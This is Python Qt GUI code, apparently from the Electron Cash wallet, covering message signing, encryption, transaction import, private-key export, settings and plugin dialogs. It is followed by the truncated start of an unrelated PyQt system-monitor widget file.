vbox.addWidget( QLabel(_("Private key") + ':'))
keys_e = ShowQRTextEdit(text='\n'.join(pk_list))
keys_e.addCopyButton(self.app)
vbox.addWidget(keys_e)
vbox.addLayout(Buttons(CloseButton(d)))
d.setLayout(vbox)
d.exec_()
msg_sign = ("Signing with an address actually means signing with the corresponding "
"private key, and verifying with the corresponding public key. The "
"address you have entered does not have a unique public key, so these "
"operations cannot be performed.")
@protected
def do_sign(self, address, message, signature, password):
address = address.text().strip()
message = message.toPlainText().strip()
if not bitcoin.is_address(address):
self.show_message('Invalid Bitcoin Cash address.')
return
if not bitcoin.is_p2pkh(address):
self.show_message('Cannot sign messages with this type of address.' + '\n\n' + self.msg_sign)
return
if not self.wallet.is_mine(address):
self.show_message('Address not in wallet.')
return
task = partial(self.wallet.sign_message, address, message, password)
def show_signed_message(sig):
signature.setText(base64.b64encode(sig))
self.wallet.thread.add(task, on_success=show_signed_message)
def do_verify(self, address, message, signature):
address = address.text().strip()
message = message.toPlainText().strip().encode('utf-8')
if not bitcoin.is_address(address):
self.show_message('Invalid Bitcoin Cash address.')
return
if not bitcoin.is_p2pkh(address):
self.show_message('Cannot verify messages with this type of address.' + '\n\n' + self.msg_sign)
return
try:
# This can throw on invalid base64
sig = base64.b64decode(str(signature.toPlainText()))
verified = bitcoin.verify_message(address, sig, message)
except:
verified = False
if verified:
self.show_message(_("Signature verified"))
else:
self.show_error(_("Wrong signature"))
def sign_verify_message(self, address=''):
d = WindowModalDialog(self, _('Sign/verify Message'))
d.setMinimumSize(410, 290)
layout = QGridLayout(d)
message_e = QTextEdit()
layout.addWidget(QLabel(_('Message')), 1, 0)
layout.addWidget(message_e, 1, 1)
layout.setRowStretch(2,3)
address_e = QLineEdit()
address_e.setText(address)
layout.addWidget(QLabel(_('Address')), 2, 0)
layout.addWidget(address_e, 2, 1)
signature_e = QTextEdit()
layout.addWidget(QLabel(_('Signature')), 3, 0)
layout.addWidget(signature_e, 3, 1)
layout.setRowStretch(3,1)
hbox = QHBoxLayout()
b = QPushButton(_("Sign"))
b.clicked.connect(lambda: self.do_sign(address_e, message_e, signature_e))
hbox.addWidget(b)
b = QPushButton(_("Verify"))
b.clicked.connect(lambda: self.do_verify(address_e, message_e, signature_e))
hbox.addWidget(b)
b = QPushButton(_("Close"))
b.clicked.connect(d.accept)
hbox.addWidget(b)
layout.addLayout(hbox, 4, 1)
d.exec_()
@protected
def do_decrypt(self, message_e, pubkey_e, encrypted_e, password):
cyphertext = str(encrypted_e.toPlainText())
task = partial(self.wallet.decrypt_message, str(pubkey_e.text()),
cyphertext, password)
self.wallet.thread.add(task, on_success=message_e.setText)
def do_encrypt(self, message_e, pubkey_e, encrypted_e):
message = message_e.toPlainText()
message = message.encode('utf-8')
try:
encrypted = bitcoin.encrypt_message(message, str(pubkey_e.text()))
encrypted_e.setText(encrypted.decode('ascii'))
except BaseException as e:
traceback.print_exc(file=sys.stdout)
self.show_warning(str(e))
def encrypt_message(self, address = ''):
d = WindowModalDialog(self, _('Encrypt/decrypt Message'))
d.setMinimumSize(610, 490)
layout = QGridLayout(d)
message_e = QTextEdit()
layout.addWidget(QLabel(_('Message')), 1, 0)
layout.addWidget(message_e, 1, 1)
layout.setRowStretch(2,3)
pubkey_e = QLineEdit()
if address:
pubkey = self.wallet.get_public_key(address)
pubkey_e.setText(pubkey)
layout.addWidget(QLabel(_('Public key')), 2, 0)
layout.addWidget(pubkey_e, 2, 1)
encrypted_e = QTextEdit()
layout.addWidget(QLabel(_('Encrypted')), 3, 0)
layout.addWidget(encrypted_e, 3, 1)
layout.setRowStretch(3,1)
hbox = QHBoxLayout()
b = QPushButton(_("Encrypt"))
b.clicked.connect(lambda: self.do_encrypt(message_e, pubkey_e, encrypted_e))
hbox.addWidget(b)
b = QPushButton(_("Decrypt"))
b.clicked.connect(lambda: self.do_decrypt(message_e, pubkey_e, encrypted_e))
hbox.addWidget(b)
b = QPushButton(_("Close"))
b.clicked.connect(d.accept)
hbox.addWidget(b)
layout.addLayout(hbox, 4, 1)
d.exec_()
def password_dialog(self, msg=None, parent=None):
from password_dialog import PasswordDialog
parent = parent or self
d = PasswordDialog(parent, msg)
return d.run()
def tx_from_text(self, txt):
from electroncash.transaction import tx_from_str, Transaction
try:
txt_tx = tx_from_str(txt)
tx = Transaction(txt_tx)
tx.deserialize()
if self.wallet:
my_coins = self.wallet.get_spendable_coins(None, self.config)
my_outpoints = [vin['prevout_hash'] + ':' + str(vin['prevout_n']) for vin in my_coins]
for i, txin in enumerate(tx.inputs()):
outpoint = txin['prevout_hash'] + ':' + str(txin['prevout_n'])
if outpoint in my_outpoints:
my_index = my_outpoints.index(outpoint)
tx._inputs[i]['value'] = my_coins[my_index]['value']
return tx
except:
traceback.print_exc(file=sys.stdout)
self.show_critical(_("Electron Cash was unable to parse your transaction"))
return
def read_tx_from_qrcode(self):
from electroncash import qrscanner
try:
data = qrscanner.scan_barcode(self.config.get_video_device())
except BaseException as e:
self.show_error(str(e))
return
if not data:
return
# if the user scanned a bitcoincash URI
if data.startswith("bitcoincash:"):
self.pay_to_URI(data)
return
# else if the user scanned an offline signed tx
# transactions are binary, but qrcode seems to return utf8...
data = data.decode('utf-8')
z = bitcoin.base_decode(data, length=None, base=43)
data = ''.join(chr(ord(b)) for b in z).encode('hex')
tx = self.tx_from_text(data)
if not tx:
return
self.show_transaction(tx)
def read_tx_from_file(self):
fileName = self.getOpenFileName(_("Select your transaction file"), "*.txn")
if not fileName:
return
try:
with open(fileName, "r") as f:
file_content = f.read()
except (ValueError, IOError, os.error) as reason:
self.show_critical(_("Electron Cash was unable to open your transaction file") + "\n" + str(reason), title=_("Unable to read file or no transaction found"))
return
file_content = file_content.strip()
tx_file_dict = json.loads(str(file_content))
tx = self.tx_from_text(file_content)
if len(tx_file_dict['input_values']) >= len(tx.inputs()):
for i in range(len(tx.inputs())):
tx._inputs[i]['value'] = tx_file_dict['input_values'][i]
return tx
def do_process_from_text(self):
text = text_dialog(self, _('Input raw transaction'), _("Transaction:"), _("Load transaction"))
if not text:
return
tx = self.tx_from_text(text)
if tx:
self.show_transaction(tx)
def do_process_from_file(self):
tx = self.read_tx_from_file()
if tx:
self.show_transaction(tx)
def do_process_from_txid(self):
from electroncash import transaction
txid, ok = QInputDialog.getText(self, _('Lookup transaction'), _('Transaction ID') + ':')
if ok and txid:
txid = str(txid).strip()
try:
r = self.network.synchronous_get(('blockchain.transaction.get',[txid]))
except BaseException as e:
self.show_message(str(e))
return
tx = transaction.Transaction(r)
self.show_transaction(tx)
@protected
def export_privkeys_dialog(self, password):
if self.wallet.is_watching_only():
self.show_message(_("This is a watching-only wallet"))
return
d = WindowModalDialog(self, _('Private keys'))
d.setMinimumSize(850, 300)
vbox = QVBoxLayout(d)
msg = "%s\n%s\n%s" % (_("WARNING: ALL your private keys are secret."),
_("Exposing a single private key can compromise your entire wallet!"),
_("In particular, DO NOT use 'redeem private key' services proposed by third parties."))
vbox.addWidget(QLabel(msg))
e = QTextEdit()
e.setReadOnly(True)
vbox.addWidget(e)
defaultname = 'electrum-cash-private-keys.csv'
select_msg = _('Select file to export your private keys to')
hbox, filename_e, csv_button = filename_field(self, self.config, defaultname, select_msg)
vbox.addLayout(hbox)
b = OkButton(d, _('Export'))
b.setEnabled(False)
vbox.addLayout(Buttons(CancelButton(d), b))
private_keys = {}
addresses = self.wallet.get_addresses()
done = False
def privkeys_thread():
for addr in addresses:
time.sleep(0.1)
if done:
break
private_keys[addr] = "\n".join(self.wallet.get_private_key(addr, password))
self.computing_privkeys_signal.emit()
self.show_privkeys_signal.emit()
def show_privkeys():
s = "\n".join( map( lambda x: x[0] + "\t"+ x[1], private_keys.items()))
e.setText(s)
b.setEnabled(True)
self.computing_privkeys_signal.connect(lambda: e.setText("Please wait... %d/%d"%(len(private_keys),len(addresses))))
self.show_privkeys_signal.connect(show_privkeys)
threading.Thread(target=privkeys_thread).start()
if not d.exec_():
done = True
return
filename = filename_e.text()
if not filename:
return
try:
self.do_export_privkeys(filename, private_keys, csv_button.isChecked())
except (IOError, os.error) as reason:
txt = "\n".join([
_("Electron Cash was unable to produce a private key-export."),
str(reason)
])
self.show_critical(txt, title=_("Unable to create csv"))
except Exception as e:
self.show_message(str(e))
return
self.show_message(_("Private keys exported."))
def do_export_privkeys(self, fileName, pklist, is_csv):
with open(fileName, "w+") as f:
if is_csv:
transaction = csv.writer(f)
transaction.writerow(["address", "private_key"])
for addr, pk in pklist.items():
transaction.writerow(["%34s"%addr,pk])
else:
import json
f.write(json.dumps(pklist, indent = 4))
def do_import_labels(self):
labelsFile = self.getOpenFileName(_("Open labels file"), "*.json")
if not labelsFile: return
try:
f = open(labelsFile, 'r')
data = f.read()
f.close()
for key, value in json.loads(data).items():
self.wallet.set_label(key, value)
self.show_message(_("Your labels were imported from") + " '%s'" % str(labelsFile))
except (IOError, os.error) as reason:
self.show_critical(_("Electron Cash was unable to import your labels.") + "\n" + str(reason))
self.address_list.update()
self.history_list.update()
def do_export_labels(self):
labels = self.wallet.labels
try:
fileName = self.getSaveFileName(_("Select file to save your labels"), 'electron-cash_labels.json', "*.json")
if fileName:
with open(fileName, 'w+') as f:
json.dump(labels, f, indent=4, sort_keys=True)
self.show_message(_("Your labels were exported to") + " '%s'" % str(fileName))
except (IOError, os.error) as reason:
self.show_critical(_("Electron Cash was unable to export your labels.") + "\n" + str(reason))
def export_history_dialog(self):
d = WindowModalDialog(self, _('Export History'))
d.setMinimumSize(400, 200)
vbox = QVBoxLayout(d)
defaultname = os.path.expanduser('~/electron-cash-history.csv')
select_msg = _('Select file to export your wallet transactions to')
hbox, filename_e, csv_button = filename_field(self, self.config, defaultname, select_msg)
vbox.addLayout(hbox)
vbox.addStretch(1)
hbox = Buttons(CancelButton(d), OkButton(d, _('Export')))
vbox.addLayout(hbox)
run_hook('export_history_dialog', self, hbox)
self.update()
if not d.exec_():
return
filename = filename_e.text()
if not filename:
return
try:
self.do_export_history(self.wallet, filename, csv_button.isChecked())
except (IOError, os.error) as reason:
export_error_label = _("Electron Cash was unable to produce a transaction export.")
self.show_critical(export_error_label + "\n" + str(reason), title=_("Unable to export history"))
return
self.show_message(_("Your wallet history has been successfully exported."))
def plot_history_dialog(self):
if plot_history is None:
return
wallet = self.wallet
history = wallet.get_history()
if len(history) > 0:
plt = plot_history(self.wallet, history)
plt.show()
def do_export_history(self, wallet, fileName, is_csv):
history = wallet.get_history()
lines = []
for item in history:
tx_hash, height, confirmations, timestamp, value, balance = item
if height>0:
if timestamp is not None:
time_string = format_time(timestamp)
else:
time_string = _("unverified")
else:
time_string = _("unconfirmed")
if value is not None:
value_string = format_satoshis(value, True)
else:
value_string = '--'
if tx_hash:
label = wallet.get_label(tx_hash)
label = label.encode('utf-8')
else:
label = ""
if is_csv:
lines.append([tx_hash, label, confirmations, value_string, time_string])
else:
lines.append({'txid':tx_hash, 'date':"%16s"%time_string, 'label':label, 'value':value_string})
with open(fileName, "w+") as f:
if is_csv:
transaction = csv.writer(f, lineterminator='\n')
transaction.writerow(["transaction_hash","label", "confirmations", "value", "timestamp"])
for line in lines:
transaction.writerow(line)
else:
import json
f.write(json.dumps(lines, indent = 4))
def sweep_key_dialog(self):
d = WindowModalDialog(self, title=_('Sweep private keys'))
d.setMinimumSize(600, 300)
vbox = QVBoxLayout(d)
vbox.addWidget(QLabel(_("Enter private keys:")))
keys_e = QTextEdit()
keys_e.setTabChangesFocus(True)
vbox.addWidget(keys_e)
addresses = self.wallet.get_unused_addresses()
h, address_e = address_field(addresses)
vbox.addLayout(h)
vbox.addStretch(1)
button = OkButton(d, _('Sweep'))
vbox.addLayout(Buttons(CancelButton(d), button))
button.setEnabled(False)
def get_address():
addr = str(address_e.text()).strip()
if bitcoin.is_address(addr):
return addr
def get_pk():
text = str(keys_e.toPlainText())
return keystore.get_private_keys(text)
f = lambda: button.setEnabled(get_address() is not None and get_pk() is not None)
on_address = lambda text: address_e.setStyleSheet(BLACK_FG if get_address() else RED_FG)
keys_e.textChanged.connect(f)
address_e.textChanged.connect(f)
address_e.textChanged.connect(on_address)
if not d.exec_():
return
try:
tx = self.wallet.sweep(get_pk(), self.network, self.config, get_address(), None)
except BaseException as e:
self.show_message(str(e))
return
self.warn_if_watching_only()
self.show_transaction(tx)
def _do_import(self, title, msg, func):
text = text_dialog(self, title, msg + ' :', _('Import'))
if not text:
return
bad = []
good = []
for key in str(text).split():
try:
addr = func(key)
good.append(addr)
except BaseException as e:
bad.append(key)
continue
if good:
self.show_message(_("The following addresses were added") + ':\n' + '\n'.join(good))
if bad:
self.show_critical(_("The following inputs could not be imported") + ':\n'+ '\n'.join(bad))
self.address_list.update()
self.history_list.update()
def import_addresses(self):
if not self.wallet.can_import_address():
return
title, msg = _('Import addresses'), _("Enter addresses")
self._do_import(title, msg, self.wallet.import_address)
@protected
def do_import_privkey(self, password):
if not self.wallet.can_import_privkey():
return
title, msg = _('Import private keys'), _("Enter private keys")
self._do_import(title, msg, lambda x: self.wallet.import_key(x, password))
def update_fiat(self):
b = self.fx and self.fx.is_enabled()
self.fiat_send_e.setVisible(b)
self.fiat_receive_e.setVisible(b)
self.history_list.refresh_headers()
self.history_list.update()
self.update_status()
def settings_dialog(self):
self.need_restart = False
d = WindowModalDialog(self, _('Preferences'))
vbox = QVBoxLayout()
tabs = QTabWidget()
gui_widgets = []
fee_widgets = []
tx_widgets = []
id_widgets = []
# language
lang_help = _('Select which language is used in the GUI (after restart).')
lang_label = HelpLabel(_('Language') + ':', lang_help)
lang_combo = QComboBox()
from electroncash.i18n import languages
lang_combo.addItems(languages.values())
try:
index = languages.keys().index(self.config.get("language",''))
except Exception:
index = 0
lang_combo.setCurrentIndex(index)
if not self.config.is_modifiable('language'):
for w in [lang_combo, lang_label]: w.setEnabled(False)
def on_lang(x):
lang_request = languages.keys()[lang_combo.currentIndex()]
if lang_request != self.config.get('language'):
self.config.set_key("language", lang_request, True)
self.need_restart = True
lang_combo.currentIndexChanged.connect(on_lang)
gui_widgets.append((lang_label, lang_combo))
nz_help = _('Number of zeros displayed after the decimal point. For example, if this is set to 2, "1." will be displayed as "1.00"')
nz_label = HelpLabel(_('Zeros after decimal point') + ':', nz_help)
nz = QSpinBox()
nz.setMinimum(0)
nz.setMaximum(self.decimal_point)
nz.setValue(self.num_zeros)
if not self.config.is_modifiable('num_zeros'):
for w in [nz, nz_label]: w.setEnabled(False)
def on_nz():
value = nz.value()
if self.num_zeros != value:
self.num_zeros = value
self.config.set_key('num_zeros', value, True)
self.history_list.update()
self.address_list.update()
nz.valueChanged.connect(on_nz)
gui_widgets.append((nz_label, nz))
def on_maxfee(x):
m = maxfee_e.get_amount()
if m: self.config.set_key('max_fee_rate', m)
self.fee_slider.update()
def update_maxfee():
maxfee_e.setDisabled(False)
maxfee_label.setDisabled(False)
maxfee_label = HelpLabel(_('Max static fee'), _('Max value of the static fee slider'))
maxfee_e = BTCkBEdit(self.get_decimal_point)
maxfee_e.setAmount(self.config.max_fee_rate())
maxfee_e.textChanged.connect(on_maxfee)
update_maxfee()
fee_widgets.append((maxfee_label, maxfee_e))
feebox_cb = QCheckBox(_('Edit fees manually'))
feebox_cb.setChecked(self.config.get('show_fee', False))
feebox_cb.setToolTip(_("Show fee edit box in send tab."))
def on_feebox(x):
self.config.set_key('show_fee', x == Qt.Checked)
self.fee_e.setVisible(bool(x))
feebox_cb.stateChanged.connect(on_feebox)
fee_widgets.append((feebox_cb, None))
msg = _('OpenAlias record, used to receive coins and to sign payment requests.') + '\n\n'\
+ _('The following alias providers are available:') + '\n'\
+ '\n'.join(['https://cryptoname.co/', 'http://xmr.link']) + '\n\n'\
+ 'For more information, see http://openalias.org'
alias_label = HelpLabel(_('OpenAlias') + ':', msg)
alias = self.config.get('alias','')
alias_e = QLineEdit(alias)
def set_alias_color():
if not self.config.get('alias'):
alias_e.setStyleSheet("")
return
if self.alias_info:
alias_addr, alias_name, validated = self.alias_info
alias_e.setStyleSheet(GREEN_BG if validated else RED_BG)
else:
alias_e.setStyleSheet(RED_BG)
def on_alias_edit():
alias_e.setStyleSheet("")
alias = str(alias_e.text())
self.config.set_key('alias', alias, True)
if alias:
self.fetch_alias()
set_alias_color()
self.alias_received_signal.connect(set_alias_color)
alias_e.editingFinished.connect(on_alias_edit)
id_widgets.append((alias_label, alias_e))
# SSL certificate
msg = ' '.join([
_('SSL certificate used to sign payment requests.'),
_('Use setconfig to set ssl_chain and ssl_privkey.'),
])
if self.config.get('ssl_privkey') or self.config.get('ssl_chain'):
try:
SSL_identity = paymentrequest.check_ssl_config(self.config)
SSL_error = None
except BaseException as e:
SSL_identity = "error"
SSL_error = str(e)
else:
SSL_identity = ""
SSL_error = None
SSL_id_label = HelpLabel(_('SSL certificate') + ':', msg)
SSL_id_e = QLineEdit(SSL_identity)
SSL_id_e.setStyleSheet(RED_BG if SSL_error else GREEN_BG if SSL_identity else '')
if SSL_error:
SSL_id_e.setToolTip(SSL_error)
SSL_id_e.setReadOnly(True)
id_widgets.append((SSL_id_label, SSL_id_e))
units = ['BCH', 'mBCH', 'bits']
msg = _('Base unit of your wallet.')\
+ '\n1BCH=1000mBCH.\n' \
+ _(' These settings affects the fields in the Send tab')+' '
unit_label = HelpLabel(_('Base unit') + ':', msg)
unit_combo = QComboBox()
unit_combo.addItems(units)
unit_combo.setCurrentIndex(units.index(self.base_unit()))
def on_unit(x):
unit_result = units[unit_combo.currentIndex()]
if self.base_unit() == unit_result:
return
edits = self.amount_e, self.fee_e, self.receive_amount_e
amounts = [edit.get_amount() for edit in edits]
if unit_result == 'BCH':
self.decimal_point = 8
elif unit_result == 'mBCH':
self.decimal_point = 5
elif unit_result == 'bits':
self.decimal_point = 2
else:
raise Exception('Unknown base unit')
self.config.set_key('decimal_point', self.decimal_point, True)
self.history_list.update()
self.request_list.update()
self.address_list.update()
for edit, amount in zip(edits, amounts):
edit.setAmount(amount)
self.update_status()
unit_combo.currentIndexChanged.connect(on_unit)
gui_widgets.append((unit_label, unit_combo))
block_explorers = sorted(util.block_explorer_info().keys())
msg = _('Choose which online block explorer to use for functions that open a web browser')
block_ex_label = HelpLabel(_('Online Block Explorer') + ':', msg)
block_ex_combo = QComboBox()
block_ex_combo.addItems(block_explorers)
block_ex_combo.setCurrentIndex(block_ex_combo.findText(util.block_explorer(self.config)))
def on_be(x):
be_result = block_explorers[block_ex_combo.currentIndex()]
self.config.set_key('block_explorer', be_result, True)
block_ex_combo.currentIndexChanged.connect(on_be)
gui_widgets.append((block_ex_label, block_ex_combo))
from electroncash import qrscanner
system_cameras = qrscanner._find_system_cameras()
qr_combo = QComboBox()
qr_combo.addItem("Default","default")
for camera, device in system_cameras.items():
qr_combo.addItem(camera, device)
#combo.addItem("Manually specify a device", config.get("video_device"))
index = qr_combo.findData(self.config.get("video_device"))
qr_combo.setCurrentIndex(index)
msg = _("Install the zbar package to enable this.")
qr_label = HelpLabel(_('Video Device') + ':', msg)
qr_combo.setEnabled(qrscanner.libzbar is not None)
on_video_device = lambda x: self.config.set_key("video_device",qr_combo.itemData(x), True)
qr_combo.currentIndexChanged.connect(on_video_device)
gui_widgets.append((qr_label, qr_combo))
usechange_cb = QCheckBox(_('Use change addresses'))
usechange_cb.setChecked(self.wallet.use_change)
if not self.config.is_modifiable('use_change'): usechange_cb.setEnabled(False)
def on_usechange(x):
usechange_result = x == Qt.Checked
if self.wallet.use_change != usechange_result:
self.wallet.use_change = usechange_result
self.wallet.storage.put('use_change', self.wallet.use_change)
multiple_cb.setEnabled(self.wallet.use_change)
usechange_cb.stateChanged.connect(on_usechange)
usechange_cb.setToolTip(_('Using change addresses makes it more difficult for other people to track your transactions.'))
tx_widgets.append((usechange_cb, None))
def on_multiple(x):
multiple = x == Qt.Checked
if self.wallet.multiple_change != multiple:
self.wallet.multiple_change = multiple
self.wallet.storage.put('multiple_change', multiple)
multiple_change = self.wallet.multiple_change
multiple_cb = QCheckBox(_('Use multiple change addresses'))
multiple_cb.setEnabled(self.wallet.use_change)
multiple_cb.setToolTip('\n'.join([
_('In some cases, use up to 3 change addresses in order to break '
'up large coin amounts and obfuscate the recipient address.'),
_('This may result in higher transactions fees.')
]))
multiple_cb.setChecked(multiple_change)
multiple_cb.stateChanged.connect(on_multiple)
tx_widgets.append((multiple_cb, None))
def fmt_docs(key, klass):
lines = [ln.lstrip(" ") for ln in klass.__doc__.split("\n")]
return '\n'.join([key, "", " ".join(lines)])
choosers = sorted(coinchooser.COIN_CHOOSERS.keys())
chooser_name = coinchooser.get_name(self.config)
msg = _('Choose coin (UTXO) selection method. The following are available:\n\n')
msg += '\n\n'.join(fmt_docs(*item) for item in coinchooser.COIN_CHOOSERS.items())
chooser_label = HelpLabel(_('Coin selection') + ':', msg)
chooser_combo = QComboBox()
chooser_combo.addItems(choosers)
i = choosers.index(chooser_name) if chooser_name in choosers else 0
chooser_combo.setCurrentIndex(i)
def on_chooser(x):
chooser_name = choosers[chooser_combo.currentIndex()]
self.config.set_key('coin_chooser', chooser_name)
chooser_combo.currentIndexChanged.connect(on_chooser)
tx_widgets.append((chooser_label, chooser_combo))
def on_unconf(x):
self.config.set_key('confirmed_only', bool(x))
conf_only = self.config.get('confirmed_only', False)
unconf_cb = QCheckBox(_('Spend only confirmed coins'))
unconf_cb.setToolTip(_('Spend only confirmed inputs.'))
unconf_cb.setChecked(conf_only)
unconf_cb.stateChanged.connect(on_unconf)
tx_widgets.append((unconf_cb, None))
# Fiat Currency
hist_checkbox = QCheckBox()
ccy_combo = QComboBox()
ex_combo = QComboBox()
def update_currencies():
if not self.fx: return
currencies = sorted(self.fx.get_currencies(self.fx.get_history_config()))
ccy_combo.clear()
ccy_combo.addItems([_('None')] + currencies)
if self.fx.is_enabled():
ccy_combo.setCurrentIndex(ccy_combo.findText(self.fx.get_currency()))
def update_history_cb():
if not self.fx: return
hist_checkbox.setChecked(self.fx.get_history_config())
hist_checkbox.setEnabled(self.fx.is_enabled())
def update_exchanges():
if not self.fx: return
b = self.fx.is_enabled()
ex_combo.setEnabled(b)
if b:
h = self.fx.get_history_config()
c = self.fx.get_currency()
exchanges = self.fx.get_exchanges_by_ccy(c, h)
else:
exchanges = self.fx.get_exchanges_by_ccy('USD', False)
ex_combo.clear()
ex_combo.addItems(sorted(exchanges))
ex_combo.setCurrentIndex(ex_combo.findText(self.fx.config_exchange()))
def on_currency(hh):
if not self.fx: return
b = bool(ccy_combo.currentIndex())
ccy = str(ccy_combo.currentText()) if b else None
self.fx.set_enabled(b)
if b and ccy != self.fx.ccy:
self.fx.set_currency(ccy)
update_history_cb()
update_exchanges()
self.update_fiat()
def on_exchange(idx):
exchange = str(ex_combo.currentText())
if self.fx and self.fx.is_enabled() and exchange and exchange != self.fx.exchange.name():
self.fx.set_exchange(exchange)
def on_history(checked):
if not self.fx: return
self.fx.set_history_config(checked)
update_exchanges()
self.history_list.refresh_headers()
if self.fx.is_enabled() and checked:
# reset timeout to get historical rates
self.fx.timeout = 0
update_currencies()
update_history_cb()
update_exchanges()
ccy_combo.currentIndexChanged.connect(on_currency)
hist_checkbox.stateChanged.connect(on_history)
ex_combo.currentIndexChanged.connect(on_exchange)
fiat_widgets = []
fiat_widgets.append((QLabel(_('Fiat currency')), ccy_combo))
fiat_widgets.append((QLabel(_('Show history rates')), hist_checkbox))
fiat_widgets.append((QLabel(_('Source')), ex_combo))
tabs_info = [
(fee_widgets, _('Fees')),
(tx_widgets, _('Transactions')),
(gui_widgets, _('Appearance')),
(fiat_widgets, _('Fiat')),
(id_widgets, _('Identity')),
]
for widgets, name in tabs_info:
tab = QWidget()
grid = QGridLayout(tab)
grid.setColumnStretch(0,1)
for a,b in widgets:
i = grid.rowCount()
if b:
if a:
grid.addWidget(a, i, 0)
grid.addWidget(b, i, 1)
else:
grid.addWidget(a, i, 0, 1, 2)
tabs.addTab(tab, name)
vbox.addWidget(tabs)
vbox.addStretch(1)
vbox.addLayout(Buttons(CloseButton(d)))
d.setLayout(vbox)
# run the dialog
d.exec_()
if self.fx:
self.fx.timeout = 0
self.alias_received_signal.disconnect(set_alias_color)
run_hook('close_settings_dialog')
if self.need_restart:
self.show_warning(_('Please restart Electron Cash to activate the new GUI settings'), title=_('Success'))
def closeEvent(self, event):
# It seems in some rare cases this closeEvent() is called twice
if not self.cleaned_up:
self.cleaned_up = True
self.clean_up()
event.accept()
def clean_up(self):
self.wallet.thread.stop()
if self.network:
self.network.unregister_callback(self.on_network)
self.config.set_key("is_maximized", self.isMaximized())
if not self.isMaximized():
g = self.geometry()
self.wallet.storage.put("winpos-qt", [g.left(),g.top(),
g.width(),g.height()])
self.config.set_key("console-history", self.console.history[-50:],
True)
if self.qr_window:
self.qr_window.close()
self.close_wallet()
self.gui_object.close_window(self)
def plugins_dialog(self):
self.pluginsdialog = d = WindowModalDialog(self, _('Electrum Plugins'))
plugins = self.gui_object.plugins
vbox = QVBoxLayout(d)
# plugins
scroll = QScrollArea()
scroll.setEnabled(True)
scroll.setWidgetResizable(True)
scroll.setMinimumSize(400,250)
vbox.addWidget(scroll)
w = QWidget()
scroll.setWidget(w)
w.setMinimumHeight(plugins.count() * 35)
grid = QGridLayout()
grid.setColumnStretch(0,1)
w.setLayout(grid)
settings_widgets = {}
def enable_settings_widget(p, name, i):
widget = settings_widgets.get(name)
if not widget and p and p.requires_settings():
widget = settings_widgets[name] = p.settings_widget(d)
grid.addWidget(widget, i, 1)
if widget:
widget.setEnabled(bool(p and p.is_enabled()))
def do_toggle(cb, name, i):
p = plugins.toggle(name)
cb.setChecked(bool(p))
enable_settings_widget(p, name, i)
run_hook('init_qt', self.gui_object)
for i, descr in enumerate(plugins.descriptions.values()):
name = descr['__name__']
p = plugins.get(name)
if descr.get('registers_keystore'):
continue
try:
cb = QCheckBox(descr['fullname'])
cb.setEnabled(plugins.is_available(name, self.wallet))
cb.setChecked(p is not None and p.is_enabled())
grid.addWidget(cb, i, 0)
enable_settings_widget(p, name, i)
cb.clicked.connect(partial(do_toggle, cb, name, i))
msg = descr['description']
if descr.get('requires'):
msg += '\n\n' + _('Requires') + ':\n' + '\n'.join(map(lambda x: x[1], descr.get('requires')))
grid.addWidget(HelpButton(msg), i, 2)
except Exception:
self.print_msg("error: cannot display plugin", name)
traceback.print_exc(file=sys.stdout)
grid.setRowStretch(i+1,1)
vbox.addLayout(Buttons(CloseButton(d)))
d.exec_()
def cpfp(self, parent_tx, new_tx):
total_size = parent_tx.estimated_size() + new_tx.estimated_size()
d = WindowModalDialog(self, _('Child Pays for Parent'))
vbox = QVBoxLayout(d)
msg = (
"A CPFP is a transaction that sends an unconfirmed output back to "
"yourself, with a high fee. The goal is to have miners confirm "
"the parent transaction in order to get the fee attached to the "
"child transaction.")
vbox.addWidget(WWLabel(_(msg)))
msg2 = ("The proposed fee is computed using your "
"fee/kB settings, applied to the total size of both child and "
"parent transactions. After you broadcast a CPFP transaction, "
"it is normal to see a new unconfirmed transaction in your history.")
vbox.addWidget(WWLabel(_(msg2)))
grid = QGridLayout()
grid.addWidget(QLabel(_('Total size') + ':'), 0, 0)
grid.addWidget(QLabel('%d bytes'% total_size), 0, 1)
max_fee = new_tx.output_value()
grid.addWidget(QLabel(_('Input amount') + ':'), 1, 0)
grid.addWidget(QLabel(self.format_amount(max_fee) + ' ' + self.base_unit()), 1, 1)
output_amount = QLabel('')
grid.addWidget(QLabel(_('Output amount') + ':'), 2, 0)
grid.addWidget(output_amount, 2, 1)
fee_e = BTCAmountEdit(self.get_decimal_point)
def f(x):
a = max_fee - fee_e.get_amount()
output_amount.setText((self.format_amount(a) + ' ' + self.base_unit()) if a else '')
fee_e.textChanged.connect(f)
fee = self.config.fee_per_kb() * total_size / 1000
fee_e.setAmount(fee)
grid.addWidget(QLabel(_('Fee' + ':')), 3, 0)
grid.addWidget(fee_e, 3, 1)
def on_rate(dyn, pos, fee_rate):
fee = fee_rate * total_size / 1000
fee = min(max_fee, fee)
fee_e.setAmount(fee)
fee_slider = FeeSlider(self, self.config, on_rate)
fee_slider.update()
grid.addWidget(fee_slider, 4, 1)
vbox.addLayout(grid)
vbox.addLayout(Buttons(CancelButton(d), OkButton(d)))
if not d.exec_():
return
fee = fee_e.get_amount()
if fee > max_fee:
self.show_error(_('Max fee exceeded'))
return
new_tx = self.wallet.cpfp(parent_tx, fee)
self.show_transaction(new_tx)
|
widget.py | #!/usr/bin/env python3
# This Python file uses the following encoding: utf-8
from operator import truediv
import os
from pathlib import Path
import sys
import threading
import time
from cpu_information import *
from gpu_information import *
from system_information import *
import gpu_information
import importlib
from importlib import reload
# from PySide2.QtWidgets import QApplication, QWidget
# from PySide2.QtCore import QFile
# from PySide2.QtUiTools import QUiLoader
from PyQt5.QtWidgets import QApplication, QWidget
from PyQt5.QtCore import QFile
from PyQt5 import uic, QtGui, QtWidgets
class Widget(QWidget):
def __init__(self):
super(Widget, self).__init__()
self.ui = uic.loadUi("form.ui", self)
self.tree_view = self.ui.treeWidget
# print(core_count0())
# self.tree_view.itemAt(0, 0).child(0).setText(1, "Bye")
# self.tree_view.topLevelItem(1).child(0).setText(3, str(cpu_temperature().pop()))
# self.tree_view.topLevelItem(3).child(2).setText(3, str(gpu_temp().pop()))
def get_network(self, network_function, local_address, remote_address):
for socket_connections in network_function:
local_ip_and_port = ""
remote_ip_and_port = ""
for attribute in socket_connections[3]:
local_ip_and_port += str(attribute) + ":"
for attribute in socket_connections[4]:
remote_ip_and_port += str(attribute) +":"
local_ip_and_port = local_ip_and_port[:-1]
remote_ip_and_port = remote_ip_and_port[:-1]
local_address.append(local_ip_and_port)
remote_address.append(remote_ip_and_port)
def insert_network_to_UI(self, addresses, row_index, child_index_network, child_index_address):
for address in addresses:
